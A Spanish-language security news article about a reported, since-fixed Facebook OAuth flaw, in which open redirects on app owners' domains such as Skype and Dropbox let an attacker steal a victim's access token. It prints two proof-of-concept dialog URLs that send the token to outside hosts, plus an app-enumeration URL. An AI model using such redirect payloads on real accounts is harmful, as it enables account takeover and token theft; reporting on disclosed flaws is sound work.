Nueva vulnerabilidad en Facebook permite control de cuentas.


Nir Goldshlager ya había expuesto dos graves defectos en Facebook OAuth. La primera fue permitía hackear una cuenta de Facebook, sin que el usuario instale ninguna aplicación en su cuenta y la segunda mostraba diferentes maneras para eludir la protección de expresiones regulares en Facebook OAuth.

Ahora, Nir ilustra sobre un nuevo ataque que demuestra lo que sucede cuando se instala una aplicación en la cuenta de la víctima y cómo se la puede manipular. Según el hacker, si la víctima tiene una aplicación instalada como Skype o Dropbox, es capaz de tomar el control de sus cuentas.

Para esto, un atacante sólo necesita encontrar una vulnerabilidad de redirección URL o un Cross Site Scripting en el dominio del propietario de la aplicación de Facebook, como por ejemplo en Skype Facebook App. Además hay que tener en cuenta que los programas de recompensas (Bounty Programs) no consideran esto como una vulnerabilidad.

Nir también demostró que el ataque funciona incluso sin tener conocimiento de la aplicación que está utilizando la víctima. Ejemplo URL: https://www.facebook.com/ajax/browser/dialog/friends_using_app/?app_id=260273468396&__asyncDialog=2&__a=1&__req=m

Debido a que las aplicaciones de Facebook son desarrolladas por terceras partes, los dueños de la aplicación, Facebook no puede hacer nada para evitar ataques de redirección del sitio. El ataque trata de utilizar la falla en la redirección de la aplicación en el parámetro "redirect_uri, next" para robar el token de acceso de usuarios de Facebook.

POC (Using Skype app): https://www.facebook.com/dialog/permissions.request?app_id=260273468396&display=page&next=http://metrics.skype.com/b/ss/skypeglobalmobile/5.4/REDIR/?url=http://files.nirgoldshlager.com&response_type=token&fbconnect=1

POC (Using Dropbox app): https://www.facebook.com/dialog/permissions.request?app_id=210019893730&display=page&next=https://www.dropbox.com/u/68182951/redirect3.html&response_type=token&perms=email&fbconnect=1

El objetivo del hacker es sólo robar el access_token a la víctima mediante el aprovechamiento de defectos en OAuth de Facebook y que posteriormente permiten tomar el control total sobre la cuenta de la víctima, sin conocer la contraseña.

El error se informó al equipo de seguridad de Facebook y ya fue corregido.